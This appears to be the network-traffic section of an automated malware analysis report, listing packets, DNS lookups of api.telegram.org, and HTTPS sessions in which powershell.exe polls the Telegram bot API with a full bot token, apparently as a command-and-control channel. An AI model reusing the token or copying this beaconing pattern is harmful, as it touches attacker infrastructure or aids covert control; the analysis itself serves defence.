Jan 14, 2025 10:04:25.257050037 CET	443	64862	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:25.259107113 CET	64862	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:25.259130001 CET	443	64862	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:28.554493904 CET	443	64862	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:28.554658890 CET	443	64862	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:28.555067062 CET	64862	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:28.555495024 CET	64862	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:37.556723118 CET	64944	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:37.556757927 CET	443	64944	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:37.556886911 CET	64944	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:37.557285070 CET	64944	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:37.557301998 CET	443	64944	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:38.196430922 CET	443	64944	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:38.197873116 CET	64944	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:38.197932959 CET	443	64944	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:42.657784939 CET	443	64944	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:42.657965899 CET	443	64944	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:42.658138990 CET	64944	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:42.658750057 CET	64944	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:46.665641069 CET	64975	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:46.665735960 CET	443	64975	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:46.665949106 CET	64975	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:46.666300058 CET	64975	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:46.666327000 CET	443	64975	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:47.279308081 CET	443	64975	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:47.281125069 CET	64975	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:47.281218052 CET	443	64975	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:50.700021029 CET	443	64975	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:50.700098991 CET	443	64975	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:50.700165033 CET	64975	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:50.704000950 CET	64975	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:56.712281942 CET	64976	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:56.712321997 CET	443	64976	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:56.712425947 CET	64976	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:56.712866068 CET	64976	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:56.712874889 CET	443	64976	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:57.344960928 CET	443	64976	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:57.346571922 CET	64976	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:57.346596956 CET	443	64976	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:00.628376961 CET	443	64976	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:00.628578901 CET	443	64976	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:00.628638983 CET	64976	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:00.629044056 CET	64976	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:02.634468079 CET	64977	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:02.634567022 CET	443	64977	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:02.634692907 CET	64977	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:02.635140896 CET	64977	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:02.635191917 CET	443	64977	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:03.248684883 CET	443	64977	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:03.250269890 CET	64977	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:03.250310898 CET	443	64977	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:06.500507116 CET	443	64977	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:06.500597954 CET	443	64977	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:06.500742912 CET	64977	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:06.501446962 CET	64977	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:08.543582916 CET	64978	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:08.543631077 CET	443	64978	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:08.543704987 CET	64978	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:08.544223070 CET	64978	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:08.544235945 CET	443	64978	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:09.180397034 CET	443	64978	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:09.181648016 CET	64978	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:09.181674957 CET	443	64978	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:09.434864044 CET	443	64978	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:09.434997082 CET	443	64978	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:09.435053110 CET	64978	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:09.435638905 CET	64978	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:11.446705103 CET	64979	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:11.446760893 CET	443	64979	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:11.446846962 CET	64979	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:11.447227955 CET	64979	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:11.447247028 CET	443	64979	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:12.056551933 CET	443	64979	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:12.057813883 CET	64979	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:12.057852030 CET	443	64979	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:12.303718090 CET	443	64979	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:12.303888083 CET	443	64979	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:12.304119110 CET	64979	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:12.304500103 CET	64979	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:14.306063890 CET	64980	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:14.306164026 CET	443	64980	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:14.306269884 CET	64980	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:14.306626081 CET	64980	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:14.306647062 CET	443	64980	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:14.915715933 CET	443	64980	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:14.917021990 CET	64980	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:14.917117119 CET	443	64980	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:17.906184912 CET	443	64980	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:17.906294107 CET	443	64980	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:17.906410933 CET	64980	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:17.906837940 CET	64980	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:20.899981976 CET	64981	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:20.900012970 CET	443	64981	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:20.900108099 CET	64981	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:20.900500059 CET	64981	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:20.900512934 CET	443	64981	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:21.514394999 CET	443	64981	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:21.517728090 CET	64981	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:21.517745972 CET	443	64981	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:24.946435928 CET	443	64981	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:24.946508884 CET	443	64981	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:24.946592093 CET	64981	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:24.947350979 CET	64981	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:32.946753979 CET	64982	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:32.946801901 CET	443	64982	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:32.946918011 CET	64982	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:32.947348118 CET	64982	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:32.947391033 CET	443	64982	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:33.553658962 CET	443	64982	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:33.555443048 CET	64982	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:33.555495024 CET	443	64982	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:33.800983906 CET	443	64982	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:33.801068068 CET	443	64982	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:33.801187038 CET	64982	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:33.801589012 CET	64982	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:35.866873026 CET	64983	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:35.866930008 CET	443	64983	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:35.867115974 CET	64983	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:35.933381081 CET	64983	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:35.933403969 CET	443	64983	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:36.556792974 CET	443	64983	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:36.558199883 CET	64983	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:36.558213949 CET	443	64983	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:36.807914019 CET	443	64983	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:36.808007956 CET	443	64983	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:36.808245897 CET	64983	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:36.808799028 CET	64983	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:38.806608915 CET	64984	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:38.806709051 CET	443	64984	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:38.806802988 CET	64984	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:38.807869911 CET	64984	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:38.807904005 CET	443	64984	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:39.436239958 CET	443	64984	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:39.437776089 CET	64984	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:39.437841892 CET	443	64984	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:39.687851906 CET	443	64984	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:39.687935114 CET	443	64984	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:39.688069105 CET	64984	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:39.688383102 CET	64984	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:41.697879076 CET	64985	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:41.697978020 CET	443	64985	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:41.698116064 CET	64985	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:41.698542118 CET	64985	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:41.698579073 CET	443	64985	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:42.328187943 CET	443	64985	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:42.329490900 CET	64985	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:42.329586983 CET	443	64985	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:45.597945929 CET	443	64985	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:45.598042011 CET	443	64985	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:45.598119974 CET	64985	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:45.598856926 CET	64985	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:47.596543074 CET	64986	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:47.596599102 CET	443	64986	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:47.596662998 CET	64986	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:47.597559929 CET	64986	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:47.597573996 CET	443	64986	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:48.217040062 CET	443	64986	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:48.218755960 CET	64986	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:48.218796968 CET	443	64986	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:50.635112047 CET	443	64986	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:50.635287046 CET	443	64986	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:50.635420084 CET	64986	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:50.655711889 CET	64986	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:59.649674892 CET	64987	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:59.649734974 CET	443	64987	149.154.167.220	192.168.2.5
Jan 14, 2025 10:05:59.649835110 CET	64987	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:59.650235891 CET	64987	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:05:59.650255919 CET	443	64987	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:00.257713079 CET	443	64987	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:00.259673119 CET	64987	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:00.259706020 CET	443	64987	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:03.686947107 CET	443	64987	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:03.687107086 CET	443	64987	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:03.687201023 CET	64987	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:03.687835932 CET	64987	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:04.696645021 CET	64988	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:04.696734905 CET	443	64988	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:04.696834087 CET	64988	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:04.697746992 CET	64988	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:04.697788000 CET	443	64988	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:05.338265896 CET	443	64988	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:05.339584112 CET	64988	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:05.339633942 CET	443	64988	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:05.631649971 CET	443	64988	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:05.631798983 CET	443	64988	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:05.631983995 CET	64988	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:05.632297993 CET	64988	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:05.633631945 CET	64989	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:05.633665085 CET	443	64989	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:05.633758068 CET	64989	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:05.634032011 CET	64989	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:05.634043932 CET	443	64989	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:06.245460033 CET	443	64989	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:06.247221947 CET	64989	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:06.247303009 CET	443	64989	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:08.881373882 CET	443	64989	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:08.881441116 CET	443	64989	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:08.881515980 CET	64989	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:08.881989956 CET	64989	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:13.868741035 CET	64990	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:13.868794918 CET	443	64990	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:13.868882895 CET	64990	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:13.869283915 CET	64990	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:13.869304895 CET	443	64990	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:14.481194019 CET	443	64990	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:14.483445883 CET	64990	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:14.483541012 CET	443	64990	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:19.882697105 CET	443	64990	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:19.882793903 CET	443	64990	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:19.883021116 CET	64990	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:19.883480072 CET	64990	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:19.884818077 CET	64991	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:19.884913921 CET	443	64991	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:19.886214972 CET	64991	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:19.886497974 CET	64991	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:19.886533976 CET	443	64991	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:20.501701117 CET	443	64991	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:20.503166914 CET	64991	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:20.503235102 CET	443	64991	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:20.935846090 CET	443	64991	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:20.935935020 CET	443	64991	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:20.936003923 CET	64991	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:20.936500072 CET	64991	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:29.946777105 CET	64992	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:29.946846008 CET	443	64992	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:29.947004080 CET	64992	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:29.947344065 CET	64992	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:29.947357893 CET	443	64992	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:30.554276943 CET	443	64992	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:30.556540966 CET	64992	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:30.556572914 CET	443	64992	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:35.060789108 CET	443	64992	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:35.060980082 CET	443	64992	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:35.061058044 CET	64992	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:35.061482906 CET	64992	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:40.055954933 CET	64993	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:40.056051016 CET	443	64993	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:40.056162119 CET	64993	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:40.056488991 CET	64993	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:40.056529999 CET	443	64993	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:40.682909012 CET	443	64993	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:40.710897923 CET	64993	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:40.710983038 CET	443	64993	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:40.934205055 CET	443	64993	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:40.934288025 CET	443	64993	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:40.934351921 CET	64993	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:40.935014009 CET	64993	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:42.946449041 CET	64994	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:42.946494102 CET	443	64994	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:42.946577072 CET	64994	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:42.946947098 CET	64994	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:42.946958065 CET	443	64994	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:43.579278946 CET	443	64994	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:43.580771923 CET	64994	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:43.580800056 CET	443	64994	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:43.848866940 CET	443	64994	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:43.849056959 CET	443	64994	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:43.849113941 CET	64994	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:43.849757910 CET	64994	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:45.852669001 CET	64995	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:45.852715015 CET	443	64995	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:45.852806091 CET	64995	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:45.853218079 CET	64995	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:45.853230000 CET	443	64995	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:46.468672991 CET	443	64995	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:46.470067024 CET	64995	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:46.470110893 CET	443	64995	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:46.724730968 CET	443	64995	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:46.724822998 CET	443	64995	149.154.167.220	192.168.2.5
Jan 14, 2025 10:06:46.726365089 CET	64995	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:06:46.726942062 CET	64995	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:03:44.253711939 CET	60729	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:03:44.260679960 CET	53	60729	1.1.1.1	192.168.2.5
Jan 14, 2025 10:03:56.387613058 CET	51306	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:04:12.187526941 CET	53	55401	162.159.36.2	192.168.2.5
Jan 14, 2025 10:04:12.671838999 CET	60318	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:04:12.679003000 CET	53	60318	1.1.1.1	192.168.2.5
Jan 14, 2025 10:05:47.588433981 CET	62414	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:05:47.595669985 CET	53	62414	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 10:03:44.253711939 CET	192.168.2.5	1.1.1.1	0xf0dd	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:03:56.387613058 CET	192.168.2.5	1.1.1.1	0x30e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:04:12.671838999 CET	192.168.2.5	1.1.1.1	0x7b74	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 14, 2025 10:05:47.588433981 CET	192.168.2.5	1.1.1.1	0xe2d2	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 10:03:44.260679960 CET	1.1.1.1	192.168.2.5	0xf0dd	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:03:56.394758940 CET	1.1.1.1	192.168.2.5	0x30e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:03:57.095407963 CET	1.1.1.1	192.168.2.5	0x6f3c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:03:57.095407963 CET	1.1.1.1	192.168.2.5	0x6f3c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:04:12.679003000 CET	1.1.1.1	192.168.2.5	0x7b74	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 14, 2025 10:05:47.595669985 CET	1.1.1.1	192.168.2.5	0xe2d2	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:03:44 UTC	232	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org Connection: Keep-Alive
2025-01-14 09:03:45 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:03:45 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:03:45 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:03:48 UTC	208	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:03:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:03:48 GMT Content-Type: application/json Content-Length: 413 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
